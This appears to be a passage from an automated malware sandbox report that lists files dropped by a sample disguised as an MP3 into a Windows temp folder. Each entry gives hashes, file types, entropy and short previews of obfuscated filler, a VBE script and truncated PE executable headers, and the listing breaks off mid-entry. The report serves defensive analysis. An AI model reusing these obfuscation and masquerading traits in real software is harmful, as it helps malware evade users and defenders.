                                                            SHA-256:E54ECEE4DC05EAEACBD4057A67F83008D9D88523A243D22BBF03990DC98AB854
                                                            SHA-512:B3CB7E0CBABC345F33F3534919D4F72DCBC32C4FEB414BA4099B39AFE7A2E22DCCE26A066F9D9AB3B5FA4885C86A9EE1215CCDCFA27DF0B1FFC9BFF8652572F5
                                                            Malicious:false
                                                            Preview:4kCN41B795fUDW54R7A0097owS27NzmX2knq391Wd9ocm11K54515PbS0RHJ5V05sm04fw4K186iPE0Z14d8W4261r4N27hezl472642r75Sk49725j37X081a0P4Aun5QDaUks..FontConstants ButtonConstants..7dqazT5eE1LxU063V17z6690Y8ZOUY47AZrNpgQW96j6I5Fl55w9EL2R8sw0kK5WGi868493b..ToolTipConstants UpDownConstants..28946po3bf45fwou1uP9709fj2LHO3HI848oe816q5AA52dN5o5eMm3I170V467P3I5C0Tn27mPE57h6jN206hs75LnXP90pULZ466WuUC0123kiYwjCWJ67E4..FileConstants TreeViewConstants..jdGdvA3iAR5gc015KQNd1p8h8gDSz0f3TT1QGQ0C49J2Ni78JQ1f5e8g03Y79K..FileConstants FontConstants..

                                                            C:\Users\user\AppData\Local\Temp\xhqk\gdndisxdbe.gmg

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3
                                                            File Type:ASCII text, with very long lines (65536), with no line terminators
                                                            Category:dropped
                                                            Size (bytes):571495
                                                            Entropy (8bit):4.050101452531791
                                                            Encrypted:false
                                                            SSDEEP:6144:S8+nw3X1oeYXD39Gp74IazTb9A/OZBWxCcY5Nydt:sRe+DtU7FapA/Ork
                                                            MD5:4F363A080CC5B7DF87865134BEA5A5A8
                                                            SHA1:186AE3A77464644CDA4D0088F2FE47CADA63C411
                                                            SHA-256:3EB7D48ECC57056FD63D437C73E2D97004D83C3F81D9D12FD59F9BD02BAEB47F
                                                            SHA-512:C35F1CE633482418B2FD23D6FAA4FCEB118F90C9C08106E5DAF5E65DFFF81F73FC1B76BFE910A1B3C861EAA3614C07A9A50745A4226FB775C0D7D05FF1D8FAEC
                                                            Malicious:false
                                                            Preview:0x4D5*9]]3]]]04]]]FFFF]]_8]]]]]]]4]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]0_8]]]0E/F_*0E]_409CD2/_80/4CCD2/546869732070726F67726/6D20636/6E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0*24]]]]]]]790/09*03D6067F33D6067F33D6067F3/**6*8F33*6067F3/**6**F33C6067F3/**6*_F33C6067F3526963683D6067F3]]]]]]]]5045]]4C0/0/]63D64256]]]]]]]]E]]20/0_0/0_]]5*04]]]]]]]]]80/4]]]/]]]07]4]]]4]]0/]]]]2]]06]]]]]]]06]]]]]]]]7]4]]02]]]]]]02]408/]]/]]0/]]]]0/]]0/]]]]]]0/]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]02E74657874]]]445804]]/]]]05*04]]/]]]]]]]]]]]]]]02]]06]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]

                                                            C:\Users\user\AppData\Local\Temp\xhqk\gfbb.ppt

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):612
                                                            Entropy (8bit):5.604888697036586
                                                            Encrypted:false
                                                            SSDEEP:12:aEU+NBafAMftrUFIFWxPwuHauwhVJ1Z9ERzsxNjhca79l:aV+NBeW3+trVD44zZl
                                                            MD5:0C7222EE7047D2B0E4F5B6E5F41EB61F
                                                            SHA1:EB7C7E2FE70F373ECA96FE35A1301FE21695DA3E
                                                            SHA-256:F6D65EBB701DF500368BE8B507847B9829645A093E1A598BDC69C45ADBB5070B
                                                            SHA-512:71C00BF27B1ED269EA02B742224439052404272391D6B548A4DEEA41731B39308AD0CFEC9C794C56BF61F1B73D0CDC755D86FBD148B3F955ABA47D6D340254E3
                                                            Malicious:false
                                                            Preview:t6FrE1qV12OPjo23034Dt5uX6411dQrB2V9Q9f4Mr6LvBaq6o8Q547761t0y9EcN1ybW279g8tL8MtDBz6h8y81eQDC4rfGVX62Hj87j..FontConstants GuiDateTimePicker..bw8Jm2LJJvA4Q92Y06HNN329BQ1dmq517oM0qhNCk921B29B3r4x9z767x4N75g450052B4c3H1H39yBUTks41w6c2LF9X2104150J1n5Ixa3kSj9..TreeViewConstants UpDownConstants..4Ng984475xE4J007P99Kr5U6K640Ac2rtJt4LxLIWH5140ZmlcjM5120Foa6u06SMi1KcQbV9nphtr36Qrfmt637573pJKUGC3l99x144w162W4g59wxeK8dC9K423369K63750..ButtonConstants FileConstants..043k0Bdx0032dc932M8o7AN72fYG81KLwh9T9036kS6eTK90lJp3448X6n4or295083j2884394CQ9i2974f4QQdxkew5G9ha7eZq297n6txw7l5N51mR605yik..FileConstants ComboConstants..

                                                            C:\Users\user\AppData\Local\Temp\xhqk\hqkikkogob.exe

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):526
                                                            Entropy (8bit):5.615465418755358
                                                            Encrypted:false
                                                            SSDEEP:12:27evUyCVPjA+QRs6ROO5Hs8rPIuiVShxbb8unT:27dlA5szO5HUfMbbdT
                                                            MD5:5811498D0D5DB4F5ADDA963C3AA8A2C5
                                                            SHA1:BCE4A649E6510CA0805C78653210C33B7DADD76E
                                                            SHA-256:9268CD0679C36290B72FFACDDB5FC8E6FF0AC2E5A417E3A2F709251707043000
                                                            SHA-512:65CCC76DF01181D9A5AA9A02184811C0F7B624C452E957279FBAD9A7ADC344969EFCE9CE67E1D7EA1F7D93D4045862FDA1038C1EE735464E9EA5BC31D92018A8
                                                            Malicious:false
                                                            Preview:29kwl04S43r80zMq8912k1a8F699Tyf0Vf96o7g2JXy0hCNvN82g5aHr05232..TreeViewConstants FileConstants..76Dl2b2K4kNS81pIY3989t6sn110E0q1..StructureConstants UpDownConstants..12AA93Tzt84P80b173yKj46K669DJ4b8Um784hMp731YA3N415PgnVahPOeysn35XGcLpo02f9901N10v6W3p4CEU9aRL07enjAuyNl6IMZO7Tm430JSz22fy9yp29d..TreeViewConstants BorderConstants..z4M0RgnUe5ozW417531BvK82IV17S6nxd27jovT9Z94361Q1M315OC5Z936b416l6537k4Ew..FileConstants BorderConstants..4tM6T08VDo988xvq0j4B4532C4976Z89rEwm6I532c9Z0v7c0Vl5007..GuiDateTimePicker ComboConstants..

                                                            C:\Users\user\AppData\Local\Temp\xhqk\jsqutphkeu.docx

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):503
                                                            Entropy (8bit):5.621489289859279
                                                            Encrypted:false
                                                            SSDEEP:12:38yHGBBP/J9xVeBQ9/s7Dc2ELgB4CLuXC:TH8bbJ9yA2FpLuy
                                                            MD5:E570D2FA028AD85BF2E6B2C3DB8F8F46
                                                            SHA1:80511A82BCADD17B15CE40DD0DF93455E1269063
                                                            SHA-256:43A1079B059AB9522BBC74D44A14C94896DF60C48B037E7B9A890AD7D9D8667C
                                                            SHA-512:57B6A8BA65023B04D0306CD7D34BD9C1C8B7AA18A7203F557CF8C19AE0C6B2DE5367F79AC71165B50FD77CC10CC5E004D66713928265B55BBF9B78ED3EFA6E21
                                                            Malicious:false
                                                            Preview:4XNy50T104655D2XIk3jI05fh0UX7H83HV5O51qWsc6a35m1ogv4625kL5U5523l4I5AIVR2547T7A7om14502YiqM1411541uIUhX..UpDownConstants TreeViewConstants..at25lmmfY3w87mg4Ugw3918LeX138gq6x025HjM0rB7SHEI936X1iLd5198ad89Vi6w93Zuf9UbUV842L145n684sjlWsXT3N7J55nAA190C34lKy0A745i1P7..ToolbarConstants FontConstants..63v06slwkrq285u6zWOp30olxMmWy9052Ej84mL20by109PWD5uE8zob0DIa7I3f1m440ECPEoP5W8J02794XP48xIAk162U9Bl718ta3Qjt8U14Z0286hV4pFO82Sd4nT0J3864RS32Q06v0Jq1x1Sz3wN039Tn4x5az3338x4..GuiDateTimePicker ButtonConstants..

                                                            C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3
                                                            File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):947288
                                                            Entropy (8bit):6.629681466265794
                                                            Encrypted:false
                                                            SSDEEP:24576:fYgAon+KfqNbXD2XJ2PH1ddATgs/u2kaCB+l:f37+KSbq5e1diEnHaCK
                                                            MD5:0ADB9B817F1DF7807576C2D7068DD931
                                                            SHA1:4A1B94A9A5113106F40CD8EA724703734D15F118
                                                            SHA-256:98E4F904F7DE1644E519D09371B8AFCBBF40FF3BD56D76CE4DF48479A4AB884B
                                                            SHA-512:883AA88F2DBA4214BB534FBDAF69712127357A3D0F5666667525DB3C1FA351598F067068DFC9E7C7A45FED4248D7DCA729BA4F75764341E47048429F9CA8846A
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L...).(c.........."...............................@..................................L....@...@.......@.........................|....P..P............N..X&...0..Pv...........................C..........@............................................text...|........................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...P....P......................@..@.reloc..Pv...0...x..................@..B................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exe

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3
                                                            File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):947288
                                                            Entropy (8bit):6.629681466265794
                                                            Encrypted:false
                                                            SSDEEP:24576:fYgAon+KfqNbXD2XJ2PH1ddATgs/u2kaCB+l:f37+KSbq5e1diEnHaCK
                                                            MD5:0ADB9B817F1DF7807576C2D7068DD931
                                                            SHA1:4A1B94A9A5113106F40CD8EA724703734D15F118
                                                            SHA-256:98E4F904F7DE1644E519D09371B8AFCBBF40FF3BD56D76CE4DF48479A4AB884B
                                                            SHA-512:883AA88F2DBA4214BB534FBDAF69712127357A3D0F5666667525DB3C1FA351598F067068DFC9E7C7A45FED4248D7DCA729BA4F75764341E47048429F9CA8846A
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L...).(c.........."...............................@..................................L....@...@.......@.........................|....P..P............N..X&...0..Pv...........................C..........@............................................text...|........................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...P....P......................@..@.reloc..Pv...0...x..................@..B................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exe.exe

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exe
                                                            File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):947288
                                                            Entropy (8bit):6.629681466265794
                                                            Encrypted:false
                                                            SSDEEP:24576:fYgAon+KfqNbXD2XJ2PH1ddATgs/u2kaCB+l:f37+KSbq5e1diEnHaCK
                                                            MD5:0ADB9B817F1DF7807576C2D7068DD931
                                                            SHA1:4A1B94A9A5113106F40CD8EA724703734D15F118
                                                            SHA-256:98E4F904F7DE1644E519D09371B8AFCBBF40FF3BD56D76CE4DF48479A4AB884B
                                                            SHA-512:883AA88F2DBA4214BB534FBDAF69712127357A3D0F5666667525DB3C1FA351598F067068DFC9E7C7A45FED4248D7DCA729BA4F75764341E47048429F9CA8846A
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L...).(c.........."...............................@..................................L....@...@.......@.........................|....P..P............N..X&...0..Pv...........................C..........@............................................text...|........................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...P....P......................@..@.reloc..Pv...0...x..................@..B................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\xhqk\likabhjhg.bin

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):535
                                                            Entropy (8bit):5.610110653941477
                                                            Encrypted:false
                                                            SSDEEP:12:yMo4I+LHOXcpecZLfB9xFuvz4vRWP7VeEb/HwYGBR:yM2IHOMpecZL5kz4vRWzMhtBR
                                                            MD5:88163436A774B0A7B386A82515BAA00F
                                                            SHA1:2595113E89A6C5DF7BF8C68AE86220109E6ABF44
                                                            SHA-256:560C35567362DC7964F5BC67EDF6B8B903841F42D6590792E17F0990CE9E8504
                                                            SHA-512:BD8D7CEDDEF0718F9D43D6B15B376A20E821684016233C2E9676560333DD7CC775CFF7917B956713865CF78BE73792B68E3074007A265AB2DBB31E8E7ACA6542
                                                            Malicious:false
                                                            Preview:MOI6635Dr4k7c0Kh0u7qXI9465z50QG3VB3306Z3W47ILoZBBMpPC2PK0Gr99G601wN11uz92h8URwd4Xz54U6783Ta0J12Ui2i..ToolbarConstants ColorConstants..s7ow8Q3vqvgJ8968iKV94r1v4cL63iZY6ToCkrG84Zq87d7J8mY7XBg1K5O0r2561CP32K1502yEEj2R66DsPS8C84088UtK457A9FCOFx376H6P24SC0z7N777..ToolTipConstants GuiDateTimePicker..N8889ZI20vE05u8804L2tK738JLB913Qne362603R66XM8741F04df8866kx95T774bRS78Ru514n791TJ2pZGl027C974F8uIdENZ6967oVV99zWoz714Xh..DateTimeConstants ToolTipConstants..7euL67vA29KQhrRA5w1igQ43982nM1068T58CpQn05OUaf23P..ButtonConstants FileConstants..

                                                            C:\Users\user\AppData\Local\Temp\xhqk\micpvbi.3gp

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):642
                                                            Entropy (8bit):5.592666917580329
                                                            Encrypted:false
                                                            SSDEEP:12:Qs9SySUhhXQUIgoI+Kr/qWTXK/ErSTc9dA0Okh5yP2R:QAhgUIgoI8WTYtWOKjR
                                                            MD5:84F801D1A017870C183D2750763E7F87
                                                            SHA1:BB464ED2C5349ADEC3519A770D0CD99A4FF75150
                                                            SHA-256:E113E9AB7A8C94F781DD880AF269ABF09F8AEB3F31CE30821B9C4AB3E603305A
                                                            SHA-512:EABABCB4CF02E882430BCD715633A57FC699F8AA6BBB365D48EA2B87F84AB8C564237632666308C0F748F9905A8E0A013906550F49F0411661619D6D294094C8
                                                            Malicious:false
                                                            Preview:8xDDn9w5Z14v3cw06j88j635ZiMJ624g3IKBUcy5mF6vBlqiX5H905y39l83zLk84Ok897KAoc3NR320K6KgO3pNty72ZY7Gv33YrM9lLABSK0yTCo4DTCY99489YU5x9275E2Q2C6XU06Tg13567lzM6K6MC0Kx69U5hchk033668W56Z8S9097..GuiDateTimePicker ColorConstants..zYg52iv1wFUt0W5vh10w08gZB4018L1R0K7i507QLv2I3Q1ibi884h1wmu5j551Y2uLN56u24j80913tf6282f28359T8998nC094mk6i589525c8lla2Cr9446Q81ep6bZ154FnplkBq22e37o3u21KH0l03baEW01RD228pD6IEQ53a2CO4M0fs4C3KPfwU..ButtonConstants ToolbarConstants..oB2a4mK8o93V7k19209tYl9R0YWV329243ZEYAT43Q6FP5PSl78Uc0VV5124p2580t03TlARk231m242C0v943411t164L2sCo16100l2RjI0FJ2c5D82GkQA01fDVSaKG986T88cST42pUA9Z902VXU37U..TreeViewConstants ToolbarConstants..

                                                            C:\Users\user\AppData\Local\Temp\xhqk\paum.vbe

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3
                                                            File Type:Unicode text, UTF-16, little-endian text, with very long lines (420), with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):80530
                                                            Entropy (8bit):3.0284542573777173
                                                            Encrypted:false
                                                            SSDEEP:96:qIIIIIIIIIIIIIIIIIIIIIIhHDIIIIIIIIIIIIIIIIIIIIIIGIIIIIIIIIIIIII7:KjkGjaB
                                                            MD5:54371A23825980F70ECDE885256577FD
                                                            SHA1:D720DE553F533435F5BAD330C5874923F1839B01
                                                            SHA-256:FC07DF4A3AF1831E27156FDD9210651E85128B9D10B152C1DE70F70F6F17296C
                                                            SHA-512:336C136F09776BDAA3E0CC54CB9EF1A3D894DC2D8D0C07607DD50AE9A77D256D56B2498BCA03A6D9EEF897C88767C407371F7935B303DE1F09A69AD739F48FCD
                                                            Malicious:false
                                                            Preview:..T.e.l.e.V.r.a.m.(.4.6.).:.T.e.l.e.V.r.a.m.(.4.6.).:.T.e.l.e.V.r.a.m.(.4.6.).:.T.e.l.e.V.r.a.m.(.4.6.).:.T.e.l.e.V.r.a.m.(.4.6.).:.T.e.l.e.V.r.a.m.(.4.6.).:.T.e.l.e.V.r.a.m.(.4.6.).:.T.e.l.e.V.r.a.m.(.4.6.).:.T.e.l.e.V.r.a.m.(.4.6.).:.T.e.l.e.V.r.a.m.(.4.6.).:.T.e.l.e.V.r.a.m.(.4.6.).:.T.e.l.e.V.r.a.m.(.4.6.).:.T.e.l.e.V.r.a.m.(.4.6.).:.T.e.l.e.V.r.a.m.(.4.6.).:.T.e.l.e.V.r.a.m.(.4.6.).:.T.e.l.e.V.r.a.m.(.4.6.).:.T.e.l.e.V.r.a.m.(.4.6.).:.T.e.l.e.V.r.a.m.(.4.6.).:.T.e.l.e.V.r.a.m.(.4.6.).:.T.e.l.e.V.r.a.m.(.4.6.).:.T.e.l.e.V.r.a.m.(.4.6.).:.....T.e.l.e.V.r.a.m.(.1.5.6.).:.T.e.l.e.V.r.a.m.(.1.5.6.).:.T.e.l.e.V.r.a.m.(.1.5.6.).:.T.e.l.e.V.r.a.m.(.1.5.6.).:.T.e.l.e.V.r.a.m.(.1.5.6.).:.T.e.l.e.V.r.a.m.(.1.5.6.).:.T.e.l.e.V.r.a.m.(.1.5.6.).:.T.e.l.e.V.r.a.m.(.1.5.6.).:.T.e.l.e.V.r.a.m.(.1.5.6.).:.T.e.l.e.V.r.a.m.(.1.5.6.).:.T.e.l.e.V.r.a.m.(.1.5.6.).:.T.e.l.e.V.r.a.m.(.1.5.6.).:.T.e.l.e.V.r.a.m.(.1.5.6.).:.T.e.l.e.V.r.a.m.(.1.5.6.).:.T.e.l.e.V.r.a.m.(.1.5.6.).:.T.e.l.e.V.r.a.m.(.1.5.6.).:.

                                                            C:\Users\user\AppData\Local\Temp\xhqk\pecq.jpg

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):518
                                                            Entropy (8bit):5.5397474480619975
                                                            Encrypted:false
                                                            SSDEEP:12:orNYf2voj/D6Re3Mvd6HmRmBX5Z6zoTnRlRPRjQ:Y++vCq2M8GRm1nR/6
                                                            MD5:12BF4351B8FF961B4687D7050BA7D8C5
                                                            SHA1:116A1E672E60178DD31F03B95F2326C8FE2C7984
                                                            SHA-256:31D8282EAD4773DC381015C307A1166A3F5691CA0D50273CA743738AB190B0F5
                                                            SHA-512:683682CAEEADB18B4BFE99C702D80198180D072FAF2046D9171ECEC57F2DAD1BE671B58CB943B5AF07066A43CC4C0174CB70FFF00F6ED42DCB59D3261D5E9BC4
                                                            Malicious:false
                                                            Preview:R12q8607R6O33pVbtzS6pa8rzQ0g76n0iM5s181E800g97LXf5us5E3Men82Q4Ju1VlU3923w3MYPqgI92469c816FeJw..DateTimeConstants ButtonConstants..z1p9D4BL8nERdw2a65V14PIWr3wumL2272iE68q46QjrmZj9..ButtonConstants ComboConstants..3sh066z080t5drF703Rfc2860875602UWhN79adB5C9Q59i572JV8kz3p9YY430v98U5W8844p7982bz6Wc5Dn54NGw838V491589I10011z8i18nd5k2MK6296v5s3TWxi..FileConstants FileConstants..2R302g9YcKk3c9bY367lRD136XV8SXcw1rwD61..BorderConstants StructureConstants..57Zm69oy2q59ZU3lH92uV572ZKBu1Az24L7..BorderConstants FileConstants..

                                                            C:\Users\user\AppData\Local\Temp\xhqk\qbmv.msc

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):559
                                                            Entropy (8bit):5.448502422588645
                                                            Encrypted:false
                                                            SSDEEP:12:6ZBP2ZUT2R6QR7dd1jc8YMivvUlBPbVG6HlgVvkbBjPq:Yv2EQR7rYMivvUlFhlgV0U
                                                            MD5:45D46A5C43B76334B24047ABAA1F5230
                                                            SHA1:6DF84C3C3D628A57FA03FD8E3003A364A0387760
                                                            SHA-256:BFE8F130CA73A02FC8B7A11E4BED9D5268D7AAEF222DA850FF29E834BA2BA32E
                                                            SHA-512:9A25DA4C8396040E1F4F8FC2B3784CDE15B97C7590DEF14B72F62C1619AC0CBD9FF0CEC4E14CE14E4D315BB9DD9D1E52AFA0087EE5B690E9748CA777DE867771
                                                            Malicious:false
                                                            Preview:XLa4Z80q4V6..FontConstants TreeViewConstants..g0BnE3uM4nv9M8w4211TbwB0Sh2T24knL07F8PELcL2xO244tH879IcT34816b1j445i82PkVq16Ckaa82I6tt60Z8wT8y109ozm18drwnn2Sz99319NL8..ComboConstants ColorConstants..59Sy9BHySn4J0114FR6674Y320153u5950c0Rq28..ToolTipConstants BorderConstants..FFZJ01e235127z6893q4jPNz5kp67RF7uDw0M38551NlkmC2nP9..FontConstants TreeViewConstants..i685Be950u6p532..GuiDateTimePicker DateTimeConstants..134A4396I3s1354U5a3187Tbo794mS50SX207408162V7qt50e4OXiE303Rx101O401x4yL7ERq03KP47SchVuf8671Bo40a48c7F62kE685..TreeViewConstants ToolTipConstants..

                                                            C:\Users\user\AppData\Local\Temp\xhqk\qfiml.msc

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):548
                                                            Entropy (8bit):5.68432683388621
                                                            Encrypted:false
                                                            SSDEEP:12:ysWmn6Oho6SHF39WA8S99GSonPToJGqs8vUynAuR:y+hlSbWAD99CPTzqG0AuR
                                                            MD5:FF5C8A934D7B2744D842E6AC834ACB69
                                                            SHA1:A2B0763220B38B84D243A9395FDEB61F9071DC5E
                                                            SHA-256:883ECA6A9FF1F633CB1D709D2084CCE7AF15F5C83D185FCB491533F28C7DA512
                                                            SHA-512:1E5014CC6B2024ED65B5446CDCC5AE91C50F790644890437C1EE164BF498055FA327FA2E6D88EC763655CB0936BA6935044AD0777D914E2479AE11A89D7A0844
                                                            Malicious:false
                                                            Preview:gn19gJ34Cl80APixDUpV5X3Qv2vjxaS4B5Yw1b4me7Ep17be0u32bgpGVp9pr5En4c01D93w9TB3y3UG23Q3ib0155TJv..GuiDateTimePicker DateTimeConstants..l2R77A6d9N741RWHs5x3Ald4t2Hw0k7n2046869Cx9p885im8sO374m489yLO168i4r18e5Yy296ZU8L62rYGtwrw1H0035c3176XvHTez1705kX2..ToolbarConstants GuiDateTimePicker..075D43MopR858676d99GE952A5wVC4V8520I6449W37TpImrM1ZF09Aj5ctP57ZmW75M0o16193WL88e792AcrAWgtdf3tgq4m142O8SAq0P38GVe22ZiXz3UihO95..UpDownConstants FontConstants..8ljW3dlSNWL8K8S17Y66EgbI4O5jw5944Bk1I2P2n3350O2M30s8RvfK470uFb2D0U2ph1..BorderConstants ToolbarConstants..

                                                            C:\Users\user\AppData\Local\Temp\xhqk\rughdrlwe.3gp

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):510
                                                            Entropy (8bit):5.626055838666671
                                                            Encrypted:false
                                                            SSDEEP:12:FfjWRpXoNBPOWOanok2NgWoKhry/XmbkZagYYCtORc:xWR0ZokQmKty/X7avJgc
                                                            MD5:1959CD8BB27C415B6FBB16BC86C2B245
                                                            SHA1:C566AB9384A2AEAD33BBC156D90E640452388421
                                                            SHA-256:C90AB73E1F96A0E2D67285278F11BD65CDAC2BAAD7BD9C434E8D307AAA83B542
                                                            SHA-512:188E25CBCCE13892510A6181DC70C9682FC9701E8BF348A71356EE3FA48AD23148AC729AB358A1BB47E6FEA90887BA7E271775C5733AFECAC50A211D3225F7EA
                                                            Malicious:false
                                                            Preview:fW1089qv9241z4Z550Y034z82dT899l3R90v653MU5U761l5V4pj7d8Bv1bd9X04EV4EIy0T3kc9lpz18r8..FontConstants TreeViewConstants..04978Ow5nx733e61F854755Kg2cGh8fKf7gQXZ66Y5q8A9QL5a03KEgxP65z6tuA88h4l96H0Bkhgid27C2f3QFei7G3pn3S64126rOb5TG25A9yj57F6e7X0gqt1914gmvcu3LrP00934ImcjY01B3118A9..GuiDateTimePicker ComboConstants..5KiszE24NV..StructureConstants ColorConstants..vxtml9S95J18j82A1D3E6CT49m270p904P66312361c8wL6jYLR80ddX8jN58eAy0vF7j81L75n7AoU9UT2n47A4K08uEZ2Y23k36I596l3ra793vg..ToolbarConstants StructureConstants..

                                                            C:\Users\user\AppData\Local\Temp\xhqk\seblheptf.icm

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):42359
                                                            Entropy (8bit):5.574658509362609
                                                            Encrypted:false
                                                            SSDEEP:768:Pn+xIxuBQnPAeIk+gHafflE1BL7N33xrxJQw4lUVSH3VebLDWhP:P+qEwNwlqP1/QQ8le/Di
                                                            MD5:A2B06E3C6252938BFE91F643BDCDE9B1
                                                            SHA1:0EE5FD225B8E43E18E97A2659B33B129E630DE2C
                                                            SHA-256:4479A33F438F9F2FDE1C3F0B6233DBF7E3652A344E152B8F3E77D1B0D7DC8C55
                                                            SHA-512:5F777C403BB92D75B74270CDCCB1FA3A9B52AB99F05B4245758B65AA934902942CCF222D83CCDA91481B00D7C129552A189BBF13A984E9184A4E91BA34E1ABCB
                                                            Malicious:false
                                                            Preview:YT7X5zkB273h..186DcVefe54f57L80V5UlHwWk180k510o284YSwI8NO20Mq95b1O395r7cGK..55vxq0gvEQ46Yd078tP5fPr58EH..56P2494vs775ZJS8nrMj778l1133Gj2wlR1FbE3MY277FREwS1qhk4u17..U6x20SUz508VHPyc8w28R02XAX814..C6TOf5sK48hat26984I2C61..28c3fPeVuU85rH2mrj137jV2232915BM268GU3i621tNHZ0kP9..71P2l00X7z387ZjRi3775f3601jiDN9VnMY493j3GiwA5Gy0lf4..T9Qv2hm0EQh92Z8G..2V62kNQd40qN6108b7r1A82G1RbSZ4b78F09SUe1NO0..P2JYT1k7tJ01zY8X4853Jdu25QtT8842e8Fh..72iDxoy3R8847aq9vv3E4GjWU33483u7s0t0JED71j3zN6M3806Z41..3mynV24h8z925mh590Aqs422l05Qd7Z46sHUng4Q3Y2i7t1ydT0y3uJZT2j50..MA38j3n538UBT42TNUTR46A241727bJ83RX538lxb2tn520A8dho2LN85js372hQS8629ZYZSPh2Yd0BX3c72ND23..2lL6o90x4Jdxh052T01409tx..G8M7Gj1uyP6Jkg2E056363664F26Tw8Z8ZEv85W15YR9M18WE893067D..1OEt707278f30D4l02O9b5g8vwom53i1398L93on985288tZTOT6Q8786hZCpJmO04WbHa2K7..49n10x38Ft16g7284860G74v8e10BOF9fFL104puP..qd9RL29fRK1QR559..1e89XD80964G1L1gc27dho596Kw61566oXC8Kc1900dQ756KC9yX..8l97lqwE9bQ9kWZO4ZDP3W15S64OEVgQ650B26nHm88m0M424cQ8q24Z872GpR0v07Vf74El4..4n151Cp843g74xy

                                                            C:\Users\user\AppData\Local\Temp\xhqk\tegwdqbf.xls

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3
